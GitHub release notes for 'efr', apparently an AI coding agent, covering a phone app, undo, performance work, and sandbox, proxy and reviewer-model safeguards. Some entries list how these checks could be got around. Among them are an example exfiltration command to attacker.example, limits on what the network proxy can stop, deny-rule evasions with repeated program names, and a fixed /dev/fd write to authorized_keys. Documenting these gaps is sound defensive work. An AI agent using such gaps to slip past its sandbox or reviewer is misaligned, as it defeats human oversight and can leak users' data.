Skip to content

Releases: eggfriedrice24/eggfriedrice.code

efr 0.0.6

Choose a tag to compare

@github-actions github-actions released this 27 Oct 07:49

Added

  • A preview of the efr phone app for iPhone, in app/ of the repository. It pairs
    with efr device add, shows your conversations live, sends prompts to them and
    answers the questions of the agent. It connects to efrd directly over Tailscale,
    with no relay. The phone keeps its device key in the Secure Enclave and proves it on
    each connection. The app is not in the App Store: you build it with EAS, as
    app/README.md tells, also for its dev, preview and production variants. It ran as a
    dev build on an iPhone with iOS 26. A new page of the docs, "The
    phone app", tells how to set up Tailscale and the listener, pair a phone, revoke
    it, and what a phone cannot do. The troubleshooting page has a new section for the
    phone.
  • A new [remote] table in config.toml for the phone app: enabled (default
    false), port (default 7419) and tailscaled_socket (default
    /var/run/tailscale/tailscaled.sock). Each key needs a restart of efrd.
  • With [remote] enabled = true, efrd listens for the phone app on the Tailscale
    IPv4 address of this machine, and on no other address. It needs tailscaled 1.100 or
    later with a TUN device (not userspace networking). efrd asks tailscaled who each
    peer is before it reads a byte, and it lets in only a device of your own Tailscale
    user that proves its paired key. It refuses this machine itself, tagged nodes,
    shared nodes and other users. When Tailscale stops, or the address or the tailnet
    changes, efrd closes the phone connections and listens again on the new address.
    A revoked device loses its connections at once. daemon.json shows the address as
    tailnet_endpoint. The settings tool marks remote.enabled and
    remote.tailscaled_socket as changes that loosen permissions.
  • efr device add pairs a phone with efrd. It shows a QR code in the terminal, below
    the command line. The code holds a one-time token that is good for one phone and for
    5 minutes. When the phone sends it, efr shows the phone's name, its Tailscale node
    and user, and the fingerprint of its key, and asks you. Only your yes pairs the
    phone. --invert swaps the dark and light parts of the code for a terminal with a
    light background. efr device add needs [remote] enabled = true and Tailscale.
  • efr device list shows the paired devices, also the revoked ones, with when each one
    was paired and last seen. efr device revoke <id> takes a device's access away for
    good; the id can be the start of an id, as the list shows it.
  • A question of the agent now tells a client why the permission mode of the turn
    asks, in one plain line, such as "cautious asks before any network access." The
    phone app shows it below the command. The terminal shows the question as before.
  • efrd can send a client each change of its lists of conversations as it happens
    (conversations.watch): the title, the status and the count of turns of each
    conversation, and its delete. The phone app uses it, so a new question or the end of
    a turn shows in its lists at once. With an older efrd, the app asks again every 10
    seconds.
  • The phone app pairs in one full screen, step after step: the command to run, the
    scan, the name and the key to compare with the terminal, and the paired machine.
    Each error has its own screen and one action: an expired code, a code of another
    machine, Tailscale off, a no in the terminal, an efrd that is too old or too new, and
    the camera off. When Tailscale was off, the app tries again by itself when you come
    back to it. When no machine is paired, the app opens on the first step.
  • The phone app pairs with more than one machine, and connects to all of them at the
    same time. Each machine has its own device key. Pair another one from Settings or
    from the machine menu. Settings lists each paired machine with its connection and
    its efrd version. The menu of a row copies the node name, pairs the machine again
    or forgets it. Forget asks first, and after the last machine the app goes back to
    pairing. Settings also has the Haptics switch and the version of the app.
  • The phone app opens on a blank conversation of the machine that you used last. Its
    composer shows ~ and the mode of a new conversation. Your first message there
    starts a new conversation on that machine, and the app opens it at once. The menu
    at the left of the bar picks another machine.
  • Each screen of the phone app has a native bar, with Settings and New on the right.
    The title opens the conversations sheet, the one place to switch conversations. On
    iOS 26 the bar is Liquid Glass, and the system softens the transcript only under
    the bar. The stack keeps at most 8 conversations, and a conversation that is in the
    stack opens where it is.
  • The conversations sheet of the phone app lists the conversations of every machine:
    "New conversation" on top, then the ones that wait for an answer, today, this week
    and older. Each row has a glyph of its status, and its machine and directory under
    the title. Its search finds a conversation by title, machine or directory, and then
    asks efrd. Touch and hold a row to copy its title or its id.
  • A conversation in the phone app shows your prompts, the replies as they stream, the
    reasoning, the tools that run, the edits with their diff, and a line at the end of
    each turn. Tap a reasoning row or a tool block to open it, or "show all N lines" to
    see the whole output. A failed turn shows its reason, with "retry" and "copy error".
    Touch and hold a message to copy it, and a code block has its own copy button. The app
    asks before it opens a link, and then opens it in the app. An image in a reply shows
    as a link, and HTML shows as text, so a reply cannot make the phone load a URL. The
    list follows new content only while you are near the end, and it does not move when
    you open or close a block. A short conversation stays at the bottom. When you are more
    than one screen from the end, "Jump to latest" takes you back. At the top of a long
    conversation, the app gets the older turns from efrd and keeps them on the phone. When
    the machine goes offline, the conversation keeps its transcript and gets the new
    events when the machine is back. VoiceOver tells you when a question waits and when a
    reply is done, and a turn that fails while you look at it gives an error haptic.
  • The composer of the phone app is a glass pill that floats over the end of the
    transcript, with a status line at its top. It sends a prompt and stops the running
    turn. While a turn runs, "Steer now" adds your text to the turn, and "Queue" sends
    it when the turn ends; touch and hold the capsule to pick one. A queued prompt can be
    withdrawn. A prompt shows at once, and the app sends it again after a lost
    connection or after iOS closed the app; efrd runs it only once. The app keeps the
    draft of each conversation.
  • A question of the agent in the phone app shows the command or the diff of the file,
    the directory and why the mode asks, with Allow and Deny. A question that only your
    computer can answer says "Answer on" and the name of the machine, with no buttons.
    A question shows how long it can wait, and "expired while you were away" when its
    time ran out while the app was closed. When another conversation waits for an
    answer, a strip under the bar and a dot on the title tell you. A tap on the strip
    opens that conversation at the question; when two or more wait, it opens the sheet
    with them on top.
  • The phone app connects again at once when the phone changes its network, such as
    from Wi-Fi to cellular. A glass capsule under the bar tells you when a machine is
    offline or when Tailscale on the phone is off.
  • The phone app has its own icon, "the yolk": an egg with a yolk, and a ❯ in the yolk.
  • A dev or preview build of the phone app has a gallery of every screen and state of
    its design. A long press on the version in Settings opens it. Three demo machines
    (desktop, laptop and homelab) play efrd inside the app and reach no computer, so you
    can see each screen without a paired machine.

Changed

  • A client that follows a turn live on a slow link no longer loses parts of the
    streamed text. When efrd cannot send each part at once, it joins the parts and sends
    them together as soon as the client reads again. The text then grows in larger
    steps, with no gaps.
  • A client that opens a conversation while a turn runs now gets the text that the
    model has sent so far, and the reasoning of the turn, at once. So the phone app shows
    a running reply at once.
  • A question that only your own computer may answer (a command that runs as another
    user, a background job, or a delete that full mode guards) now says so to every
    client. efrd refuses an answer to it from a phone, and it also refuses from a phone
    an input for a running command, such as a password.

efr 0.0.5

Choose a tag to compare

@github-actions github-actions released this 25 Oct 15:57

Added

  • Each background job now runs in a cgroup of its own when efrd runs as its systemd
    unit. The unit now has Delegate=yes. When you stop a job, efr kills every process
    of the job, also a process that left the job's session with setsid. efr jobs list
    and the model's jobs tool show the memory and the CPU time of each running job.
    Without a delegated cgroup, a job ends by its session as before, and efr jobs list
    says why. Install the new unit, then run systemctl --user daemon-reload and
    restart efrd.
  • Ctrl+B also moves a command that a call left running in the hidden shell into a
    background job, while the command waits for no input: in the turn view while no
    call runs, and in ,shell. A command outside the sandbox asks first, as a running
    call does. The hidden shell is free at once, and the job's notice tells the agent
    when the command ends. Before, such a command held the hidden shell until it ended.
  • efr conversation delete <id> deletes a conversation and everything that efr keeps
    of it: its events, its search text, the recordings of its hidden shell, its
    $SCRATCH, its sandbox dirs, its snapshots and its undo trash. The id can be the
    start of an id, as efr search shows it. efr asks first on a terminal, and --yes
    skips the question. Without a terminal, efr deletes only with --yes.
  • Before a delete, efrd stops the background jobs of the conversation and closes its
    hidden shell. When another open terminal holds the conversation, or a turn runs in
    it, efr asks again. --force deletes in both cases with no question. efr never stops
    an undo that runs. If efrd stops during a delete, you never see half a
    conversation: the conversation goes from every list and search at the first step,
    and the next start of efrd removes the rest.
  • Ctrl+D in the ,resume picker deletes the selected conversation after a question on
    one line. Then the picker opens again with its query.

Changed

  • efrd now deletes old recordings of the hidden shells' terminals. Once an hour, it
    deletes the recording of a shell that exited more than 14 days ago
    (recording.max_age_days), and, while all recordings take more than 2 GiB
    (recording.max_gib), the oldest parts first. It always keeps the newest part, and
    at least the last 1 MiB, of a shell that still runs. 0 turns a limit off. Before,
    efrd kept every recording forever, so the data directory grew without a limit. A
    client that resumes from output that was deleted gets a screen snapshot, or for an
    exited shell, only what is left.
  • Some very long or deeply nested shell lines now get a stricter decision. Before,
    each of these lines could make efrd use all its time and memory, or stop efrd with
    all its conversations:
    • A line with many relative cds is judged as after cd -: a relative path may be
      anywhere below /, so efr runs the line in the sandbox or asks you. This occurs
      when the rest of the line may run in more than 1024 directories, that is, after
      more than ten cds into subdirectories in a row.
    • efr reads a command substitution inside another one down to 64 levels. A line
      that nests deeper holds code that efr does not read: only you approve it outside
      the sandbox, and full mode asks you before it runs.
    • An ask or deny rule for a program reads at most 16 forms of that program in
      one command, such as each git after env. A command with more, such as
      env git git git ..., matches the rule, so efr asks you or refuses it. Before,
      10,000 git words took about 1 second for each rule.
  • An ask or deny rule for systemctl, cargo, docker or kubectl now skips
    the program's own options before the subcommand, as a rule for git does. So a
    rule for systemctl restart also asks for systemctl --user restart nginx, a rule
    for cargo publish for cargo +nightly publish, a rule for docker push for
    docker -H ssh://prod push app, and a rule for kubectl delete for
    kubectl -n prod delete pod web. An option that efr does not know counts both with
    and without a value, so the rule asks rather than misses. cargo --config with a
    file or an alias, and kubectl --kuberc, can rename a subcommand, so the rule
    matches every command with one of them. An allow rule still compares the words
    right after the program.
  • The diff of an approval preview and of a finished write now shows only the changed
    hunks. Before, two small changes far apart in a large file showed as the whole file
    removed and added again, and the added and removed counts were wrong.
  • In a long block that is still open (from 4 KB, such as a large table or a long list
    item), the last line shows when it is complete, not letter by letter. A line of
    code shows at once.
  • Long conversations are faster and use less memory. The request that the model gets
    does not change, so the prompt cache of your provider still works:
    • After a compaction with a summary, a prompt reaches the model sooner, because a
      turn no longer reads or rebuilds the earlier turns that the summary covers. In a
      conversation of 2,000 turns, the time from the prompt to the model request went
      from about 44 ms to about 21 ms.
    • A prompt starts with less work and less memory. efrd no longer reads the earlier
      turns again from the database and the event log for each prompt, and a tool
      output in memory no longer uses up to two times its size. After a restart of efrd
      or 10 idle minutes, only the first prompt reads the earlier turns. In a test of 20
      conversations of 50 turns, efrd allocates about one third less memory for each
      turn.
    • In auto, a shell call with background jobs no longer reads every turn of the
      conversation to find when the previous turn started.
    • A terminal that attaches to a conversation with long answers shows it sooner.
      With answers of 500 KB, this took about 340 ms. Now it takes about 20 ms.
    • With the OpenAI WebSocket transport, each connection keeps about 40 bytes for each
      item of the history. Before, it kept a copy of all of the history of its last
      call, which is several MB in a long conversation. A call also starts sooner.
    • efr diff --stat --all reads the history in pages of 500 events, and it keeps
      only the ends of the turns that changed files and the undos. For 20,000 events,
      its peak memory went from about 28 MiB to about 12 MiB. When the history has more
      than 1,000 pages, a dim line now says that efr adds up only the turns of the
      newest 1,000. Before, efr left out the older turns and did not say so.
  • efrd gives memory back after an idle period. When a conversation was idle for 10
    minutes, efrd no longer keeps its messages in memory, and the next prompt reads
    them from the store. Then, when no turn ran for 30 seconds, efrd tells glibc to give
    its free heap back to the system, at most one time in 5 minutes. In a test of 20
    conversations of 50 turns, efrd then used about 60 MiB, about one third of its peak.
    Before, efrd kept the messages of each conversation that ran a turn since it
    started, so its memory grew with use, and it kept about 90% of its peak.
  • Calls in large projects and in your home directory are faster. Undo, the undo
    trash and the list of what undo does not cover do not change:
    • The snapshots before and after a call in a project of 20,000 files took about
      54 ms. Now they take about 18 ms, because git checks the files on more than one
      thread.
    • After a command writes many files again, the next calls are fast again. With
      5,000 files of 10 KB, each later call took about 210 ms. Now it takes about 6 ms.
    • The end of a turn whose snapshots leave out many paths, such as thousands of
      ignored files, took about 20 seconds for 20,000 paths. Now it takes less than a
      tenth of a second.
    • A call that can write in a large directory outside your projects took more than
      12 seconds to start and end for 20,000 files. Now it takes less than a second.
    • A call that changes thousands of home files ends faster. A cache delete of 20,000
      files took about 7 seconds. Now it takes about 1 second.
    • Each turn in a git repository starts one git process fewer, so a prompt in a
      repository outside your projects also gets its answer sooner. efr undo starts
      one git process for each file that it writes back, not two. In auto, while
      background jobs run in the project, a command starts faster, because efr runs git
      only for a git config that changed since the last check.
  • A command that prints much output uses less CPU. efr reads the output of the hidden
    shell in chunks of up to 64 KiB, so it hands on 3 to 10 times fewer chunks. A prompt
    still shows as soon as the shell prints it. With the ghostty screen, the result of a
    command whose output moves the cursor, such as a build with a status line, is ready
    sooner, because efr reads only the 1,000 newest rows of each screen. The text of the
    result does not change.
  • Replies and question cards draw faster:
    • A long reply streams with less CPU. Before, each draft of the model copied all of
      the reply before it, and a reply of 1 MB used about 1 second of CPU.
    • A very long code block renders in a time that grows only with its length. Before,
      100,000 lines in a text block took about 4 s. Now they take less than 0.1 s.
    • A question card shows a long command fast. Before, a command line of 100 KB took
      up to 2 seconds on a terminal that counts by grapheme cluster.
    • While a question waits for your answer, efr draws its card again only when the
      card or the width of the terminal changes, not at each tick of the status row.
      A card with a diff used about 1 ms of CPU for each tick.
    • The input row under a running turn draws a long paste in about half the time.

Fixed

  • A long shell line no longer stalls efrd before the call starts. The decision and its
    ...
Read more

efr 0.0.4

Choose a tag to compare

@github-actions github-actions released this 23 Oct 05:58

Added

  • In auto, a reviewer model now decides most actions that leave the sandbox, so you
    see far fewer questions. It reads your messages and the facts that efr collects,
    never the output of a command. It allows an action that fits what you asked,
    refuses an action that nothing you said relates to, and gives an unsure case to
    you. While it works, the status row shows reviewing: <command>. Its answer stays
    as one line, reviewer allowed: ... or reviewer refused: .... An allow opens that
    one path, host, socket or device for one call. docs/use/sandbox-basics.md,
    "Exits", has the details.
  • The reviewer is the small model of your provider (gpt-6-luna for OpenAI,
    claude-haiku-5-5 for Claude). It writes a short reason before its verdict. When
    the reason is empty, efr asks it once more. When the small model is missing,
    refuses or gives no usable answer, the turn's model reviews, and then you decide.
    Each review is one more request to your provider: with an API key, you pay for it.
    The new [classifier] table sets the model, the effort, the timeout of each step
    (20 seconds) and the fallback to the turn's model. classifier.enabled = false
    asks you about each action that leaves the sandbox, as before.
  • You still decide these actions, never the reviewer: sudo and other ways to more
    rights, a delete of your home directory, /, a system directory or more than one
    project, a read of a masked file, a write to a synced folder, a desktop command that
    types or starts programs, a credential agent's socket (such as $SSH_AUTH_SOCK),
    and a change of the settings. The whole session bus asks you too, also at another
    path (such as one of dbus-launch below /tmp), because it can start programs
    outside the sandbox and read an unlocked keyring; the question says so. An upload,
    such as git push, and a delete above the project go to the reviewer only when a
    message of yours names them.
  • The reviewer can allow a network call only when a message of yours names each host
    that the line shows: the host of a URL, a remote operand of scp, sftp or
    rsync, or the destination of ssh. So "upload my notes" does not let
    curl -d @notes.txt https://attacker.example/ run with no question. A host, a path
    or an upload counts as named only when your message is in the current turn or in
    your turn before it: a "now do it" three turns after "commit and push" asks you.
    After another terminal picked up the conversation, only your messages since then
    count. The reviewer still reads all your messages.
  • After the reviewer refused 3 actions in a row, or 10 in one turn, it pauses for the
    rest of the turn, and efr asks you instead. When you are away, the turn stops.
  • A network proxy for auto, on by default (network.mode = "proxy"). A sandboxed
    command now reaches the package registries and GitHub with no question: crates.io,
    npm, PyPI, the Go module proxy, GitHub downloads and your pacman mirrors. So
    cargo build with a new dependency, npm install and pip install run at once.
    efr checks each connection: the host must be on your allow list, it must not
    resolve to a local or private address, and the TLS server name must match. Plain
    http:// gets through only for the hosts that you mark. network.allow,
    network.deny, [[network.hosts]] and network.max_upload_bytes set what the
    proxy lets through. A command that names a host that is not on the list goes to the
    reviewer for that one host and port. nslookup, dig, ping, nc and other
    programs that do not use HTTP, servers that your browser must reach, services on
    your machine or your LAN, and other ports still need the whole network after a
    review. The proxy runs only when its self-test passes. If not, efr sandbox check
    warns, and commands have no network. network.mode = "none" gives the old
    behaviour: no network, and an exit that opens the whole network for one command.
    docs/use/network.md has the details.
  • The proxy cannot see inside TLS. A sandboxed command can still send data to a host
    on your allow list: at most network.max_upload_bytes (4 MiB) per command, counted
    from the first byte of each connection. Hosts that fetch for the client (the Go
    module proxy) and your own *.suffix entries widen this. A socket grant that
    reaches the network, such as Docker's socket, goes around the proxy. Tools that send
    an Encrypted Client Hello, such as headless Chrome, Electron and Playwright, cannot
    fetch through the proxy. Node's fetch uses the proxy through
    NODE_USE_ENV_PROXY=1, so Node prints an "experimental" warning on stderr in
    sandboxed commands. docs/sandbox.md, "What the proxy cannot stop", lists the
    limits.
  • With the proxy, efr blocks a host for sandboxed commands, and says why, when a file
    or a helper can give the command a token for that host. This covers a password or a
    token for the host in your git config (also ~/.gitconfig and its includes, also
    for a command outside a project) or in the project's .npmrc, .yarnrc.yml,
    .yarnrc, bunfig.toml or .cargo/config.toml. It also covers a git credential
    helper that can hand out a token: a ! command, or a helper that efr does not know
    (not libsecret, store, cache or manager), such as oauth or
    pass-git-helper. The note names the helper. A helper for one site blocks only that
    site. A helper for every site blocks the hosts of the repository's remotes. A
    gh auth git-credential helper blocks no host while the sandbox hides gh's token,
    so git clone and git fetch from GitHub work in the sandbox. Move a token to a
    file that the sandbox hides, such as ~/.npmrc. A socket grant to git's credential
    cache asks only you. efr sandbox check warns about each sandbox.env_keep entry
    that looks like a secret, because the proxy lets it reach the allowed hosts.
  • A command that the proxy refused shows network: blocked <host:port> (<reason>),
    and the model reads why. A host on the deny list, or a host that efr blocks for a
    token, shows denied for this command, and the model reads that no host grant
    helps. A background job lists its refusals in the line of its end, in the view, in
    efr history and in efr jobs stop. The reviewer sees the hosts that the proxy
    refused in the last command and in the jobs, but only as a fact, never as your
    request. A denied host is not one of them.
  • efr undo takes back the newest turn of this terminal's conversation. It shows
    what it will do (restore, trash, delete, ref) and asks undo? y = yes, n = no. It
    restores the files that the turn's commands changed in the project, in $SCRATCH,
    in the other projects that the turn wrote and outside the projects, and the
    branches that the turn moved. It also removes the empty directories that the turn
    made outside the project, such as a *.wants directory. A file that changed after
    the turn stays, and the preview lists it; --force overwrites it. When only
    --force acts on the rows of the preview, efr undo without it changes nothing
    and fails with that hint. A change that you made during the turn between two
    commands stays. --redo takes back the undo. --list, --turn and --dry-run
    help you pick. Without a terminal, efr undo needs --yes.
    docs/use/undo-and-diff.md has the details.
  • efr undo keeps your git index as it is. Every file that undo overwrites or removes
    goes to ~/.local/share/efr/undo-trash/ first, and a directory that undo makes
    again gets mode 0700. An undo that stops at a write that fails says
    undo stopped: ..., and the next efr undo finishes it. An undo that can write
    nothing leaves the turn as it is. The preview of a manual or cautious turn says
    that writes outside the project are not covered.
  • After a stop of efrd, or for a call that you interrupted or that ran past its
    timeout, efr undo --force takes back the changes of the turn's calls, also those
    of write_file, edit and apply_patch. Such a turn says
    not covered: <project> (a call did not finish) or
    <path> (the call did not finish).
  • efr undo refuses while a background job of the conversation runs, or while a job
    of another conversation can write in the same project, and names the job:
    job j3 runs; stop it first (efr jobs stop j3). A job outside the sandbox can write
    everywhere, so it blocks every undo. When a job ends, its file changes join the turn
    that started it, and the undo of that turn needs --force. A file that a later turn
    changed in the meantime stays with that turn. When the job notice turn of a job's
    end changed nothing, efr undo with no --turn passes over it and takes back the
    job's turn. Snapshots leave $SCRATCH/jobs out.
  • Undo also covers files outside the project in auto. Before efr writes a file
    outside the project and $SCRATCH, such as ~/.zshrc or ~/Documents/notes.md,
    or deletes a cache, it copies the file into its snapshot store. A file that did not
    exist before goes to the undo trash. A directory with more than
    snapshot.home_max_files files (2000) or snapshot.home_max_mib MiB (256) gets no
    copy, and the end of the turn says so. For a directory that holds a git repository,
    such as ~/notes with ~/notes/.git, efr copies the files but not the .git, and
    the end of the turn says that undo does not cover ~/notes/.git.
  • At the end of an auto turn, one line says what changed and that you can take it
    back: changed 4 files (+12 -3) in <project> and 2 in ~; efr undo reverts this turn.
    A turn that only moved refs says
    moved 1 ref in <project>; efr undo reverts this turn. A file inside the project,
    such as .env, belongs to the project's snapshot, also when the sandbox hides it.
    Files that undo cannot bring back, such as a large ignored file, show on a line
    not covered: .... The lines come also when the turn failed or ...
Read more

efr 0.0.3

Choose a tag to compare

@github-actions github-actions released this 09 Oct 20:17

Added

  • Model calls to OpenAI can go over a WebSocket, which cuts the time to the first
    token. Each conversation keeps one connection open between the calls of a turn and
    between turns, and closes it after 10 minutes without a call. Before a call on a
    connection that had no call for 30 seconds, efr sends a ping. When the connection
    died during a sleep of the computer or a change of network, the call goes over HTTP
    after at most 5 seconds. While the connection holds the previous answer, a call
    sends only its new input. A call that the server did not take on the WebSocket goes
    over HTTP. An error answer on the WebSocket, such as a rate limit or a context
    overflow, fails the call as it does over HTTP, without a second request. A call
    whose request went out and whose connection then broke or went silent fails as on
    HTTP and does not go out again, because the model may already run. When you
    interrupt a turn, efr stops the answer on the connection and keeps the connection
    for the next call. The new key [openai] websocket chooses the transport: auto
    (the default) uses a WebSocket for each model that the model catalog marks with
    prefer_websockets and HTTP for the other models, so a new catalog from the backend
    changes the choice from the next call. on uses it for every model, and off uses
    HTTP only. The key needs a restart of efrd. The debug log shows the time to the
    first event of each call with its transport (phase=provider_accepted and
    phase=provider_first_event), so you can compare the two.
  • The model edits files with a new apply_patch tool. One patch adds, changes,
    deletes or moves one or more files, and it changes all of them or none: when a part
    does not match, the model gets the nearest lines of the file and no file changes.
    When you interrupt the turn while the patch writes, efr puts every file back.
    The call shows the diff of each file. A change or a new file in the turn's project
    or in $SCRATCH needs no approval, as for write_file. A delete or a move always
    asks, also in auto, because undo cannot bring the file back yet. The question
    shows the diff of every file and marks each delete and move. The models that take
    freeform tools get the tool with its grammar. When you change to a model that does
    not take freeform tools, the earlier calls go to it in the form that it takes. The
    system prompt tells the model to use it, and not sed -i or a whole-file write,
    for an edit.
  • efr shows an apply_patch call by its files, such as apply_patch src/a.rs +3 −1, new notes.md +2, delete old.rs, and never the text of the patch. After the call,
    each file gets its own diff block with a row that names it, and
    render.diff_lines applies to each file. The approval of a patch shows the diff of
    every file, and marks a delete or a move in the warning colour. A file outside the
    project, $SCRATCH and your home keeps its absolute path, such as /etc/hosts.
    While the model writes the patch, the status row shows preparing apply_patch, 3.2 KB.
  • An input row below a running turn, in the terminal that follows it. Type there while
    the turn runs: Enter steers the turn, Tab queues the text as a prompt behind it, Esc
    interrupts it and Alt+Up takes back the newest prompt that you queued there. The row
    edits like a shell line (arrows, Home, End, Ctrl+A/E/U/W/K, Alt+B/F), Ctrl+J adds a
    newline, and a paste keeps its newlines. Keys that you type while the prompt goes
    out land in the row too. An approval takes only the keys that you type after it
    shows: keys typed before it and the rest of a paste stay in the row. While the
    output of a command ends with a password prompt, the row hides, and what you type
    never goes to the model as a steer. A complete output line that only names a
    password, as grep password prints, does not hide the row.
    render.turn_input = false turns the row off.
  • Steers that the model did not read yet show above the status row as ↳ steer:, and
    prompts that you queued as ↳ queued:. When a model call reads a steer, it moves
    into the reply as your message. A steer that comes too late for its turn waits in
    the queue instead.
  • efr follows each prompt that you queue from the input row after the turn before
    it, and ends after the last one. Esc sends the steers that the model did not read as
    a new prompt, and puts the prompts that you queued back into the row, so nothing
    runs that you did not see. Esc stops the turn also when the queue is full or when
    the settings of your terminal do not work now: the steers then go with the settings
    of the stopped turn. Ctrl+C clears the row; on an empty row it interrupts the
    turn and also takes back the prompts that you queued there and the steers that the
    model did not read. A prompt that still waits behind another turn is taken back
    instead, by Esc and by Ctrl+C. When efrd does not answer Ctrl+C in time, or the
    connection ends, all of that text goes back to your shell with a note, so no text
    is lost.
  • Text that is still in the input row when efr ends goes back to your zsh command
    line as , <text>, so you can edit it and send it again. Without the zsh plugin,
    efr shows it as one muted line. Each efr run gets a file of its own, so the
    texts of two runs before the next prompt both come back, also from a pipeline or
    after you source the plugin again. A new shell removes only the files of gone
    shells in its own pid namespace, so a shell in a container (distrobox, toolbox)
    keeps its text.
  • When efrd restarts while efr follows a turn with the input row, efr connects
    again. Prompts that you queued and steers that the model did not read come back to
    your command line when the restart cancelled them. A steer or a prompt whose answer
    the restart lost is not sent twice. When efrd does not come back, they come back
    too. SIGTERM and SIGHUP end efr at once also while it connects again.
  • The diff of each file write shows in its call block, in the diff colours: the first
    render.diff_lines lines (default 20), then a muted … N more lines. This works in
    every directory.
  • A shell call that changed files gets one muted row under its result, such as
    changed src/a.rs +3 −1 · deleted old.rs · new notes.md (+2 more). A turn that
    changed files gets a muted line such as 3 files changed, +24 −7 before its end.
    This works in registered projects (git or not) and in $SCRATCH. The row and the
    line show what changed while the call or the turn ran, also a file that another
    conversation or your editor saved at the same time.
  • efr diff prints what a turn changed: by default the last turn of this terminal's
    conversation, --turn <id> for another, --stat for the list of files. In a pipe it
    writes the plain diff. An ignored file such as .env shows in the list, but its
    content stays out of the diff.
  • efr's own snapshot store: one bare git repository per registered project or
    $SCRATCH below the data directory. It never writes the project's .git or index.
    The [snapshot] table sets it (snapshot.enabled, size limits, keep_turns,
    max_age_days).
  • efrd has the parts that the input row of a turn needs. A steer that comes too late
    for the running turn can become a queued prompt (turn.steer with if_late). You
    can take back a prompt that waits in the queue before it starts (prompt.withdraw).
    An interrupt can take back the queued prompts of one terminal and send its unread
    steers again as one new prompt, which runs next with the settings of that terminal.
    An interrupt can also take back unread steers, so that no model call reads them
    (steering_withdrawn). efrd records when a model call reads a steer
    (steering_delivered). efr history shows a prompt that you took back as
    withdrawn before it ran, and steers that you took back as took back a steer that the model did not read.
  • efrd sends the conversation id as the prompt cache key of every model request, and
    on the subscription also as the session-id header, as Codex does. The requests of
    one conversation then go to the same prompt cache.
  • turn_completed, turn_failed and turn_interrupted say how full the model's
    context is (context: the tokens, the point where efrd compacts and the window).
    Their usage also gives the cached input tokens, the reasoning tokens and the
    context of the last model call (context_tokens). A client that follows a turn gets
    a context draft before and after each model call.
  • An entry of [openai] models can be a table that gives the model's limits:
    { id = "gpt-next", context_window = 400000, max_output_tokens = 128000 }. An
    entry can also name a built-in model to change its limits. models.list shows the
    context window of each model that efr knows. On an API key, a model's own output
    limit wins over [model] max_output_tokens.
  • efr compacts the context of a conversation before it fills the model's window. When
    a request reaches [compaction] auto_at percent of the window (76 by default),
    efrd first gives old tool outputs a short stub, when that frees at least 20000
    tokens. When that is not enough, the conversation's own model writes a summary with
    fixed sections: the task and its state, the decisions, the important details, the
    files and places, the open work and the next step, the directories and the shell,
    and the open system tasks. The next requests send a fresh block that efrd reads from
    disk (your directory, the hidden shell's directory and its jobs, the git status and
    the AGENTS.md files from the project root down), the summary, and the newest
    messages word for word, about 20000 tokens. The turn goes on after the compaction.
    [compaction] auto = false turns it off. All events stay in the log. The history
    keeps every earlier turn that the model's window can hold, so the compaction makes
    room, not a limit ...
Read more

efr 0.0.2

Choose a tag to compare

@github-actions github-actions released this 07 Oct 23:41

The reply view is new: replies stream without lag, a status row shows what runs, and
tool calls and questions have a clear layout. This release also fixes two sandbox
bugs.

Added

  • Streaming drafts. efrd sends the text of a running turn to the reply view every
    16 ms, and never writes these drafts to the event log. A reply now reaches the
    screen about 7 ms after the model sends it (it was about 100 ms).
  • A status row under the reply while a turn runs: a spinner, the state (waiting for
    the model, thinking with the title of the reasoning, writing, preparing a tool call,
    stalled, waiting for you) and the time. The clock stops while a question waits.
    render.motion = false turns the shimmer off.
  • An end-of-turn line, such as done in 24s, 18.2k tokens in, 1.1k out
    (render.turn_summary).
  • A progress indicator in the terminal tab during a turn (OSC 9;4), in Ghostty 1.2 or
    newer, kitty 0.47 or newer and Windows Terminal, but not in tmux, GNU screen or
    zellij (render.progress).
  • Colour roles for every part of the view: text, muted, accent, heading, link, code,
    success, warning, error, quote and the diff roles. [render.colors] sets one role,
    and render.palette loads a theme file with a [colors] table and an optional
    code_theme (a .tmTheme file). The eggfriedrice.nvim colour scheme ships such a
    file as extras/efr/eggfriedrice.toml.
  • render.theme = "auto" with render.theme_dark and render.theme_light. The zsh
    plugin asks the terminal for its background once and sets EFR_TERMINAL_BG.
  • Character widths by grapheme cluster in Ghostty, so emoji and flags no longer shift
    the live zone.
  • Debug log lines with the time of each step of a call (phase=... elapsed_ms=...).
    docs/sandbox.md tells how to read them.
  • CHANGELOG.md, and release notes that come from it.

Changed

  • Tool calls are blocks: · $ command in the code colour, a muted │ output tail
    while it runs, and a result row (✓ 0.4s or ✗ exit 3 · 2.0s). A failed call keeps
    its last 3 output lines. A long command wraps at the width and is never cut.
  • Questions are cards with a thin muted bar and a title such as
    ? allow outside the sandbox. After the answer, a card gives its place to one line,
    ✓ allowed or ✗ denied, and the command shows only once.
  • One blank line between blocks, and none inside a block.
  • Markdown: no label above plain code blocks, a file name when the fence names one,
    inline code in the code colour, one heading colour, quotes in italic, and a rule of
    at most 40 columns.
  • The default accent colour is yellow (ANSI slot 3).
  • sudo -k (and -K, --reset-timestamp, --remove-timestamp) can stand beside the
    one command of a line that runs outside the sandbox.
  • A failed call no longer says (sandbox) in its result; the end-of-turn note says
    that the turn ran in the sandbox.
  • A question no longer says that its target exists. It still says when a target is a
    directory, because a write grant then opens all of it.
  • The reply view no longer prints answer sent after a password answer.

Fixed

  • A redirect to /dev/null (and to the other nodes of the sandbox's own /dev) was a
    write exit in auto: the line asked you and then ran outside the sandbox with your
    full rights. It now runs in the sandbox with no question.
  • A command line that wraps inside a word no longer looks like two words; such a cut
    is marked with ↩.
  • When stdout is not a terminal, a call's rows come after its question and answer, as
    on a terminal.
  • The status row no longer shows the reasoning title of an earlier model call.
  • Ctrl+C during a turn says how long the turn ran.
  • The cursor always comes back, also after a signal.

Security

  • A path below /dev/fd/<n>/ or /dev/pts/<n>/ counted as a node of the sandbox's
    own /dev, so a write such as echo x > /dev/fd/3/authorized_keys could run with no
    question. Now only /dev/fd/<n> and /dev/pts/<n> themselves count; a path below
    them is a write exit that only you can allow.

efr 0.0.1

Choose a tag to compare

@github-actions github-actions released this 07 Oct 17:23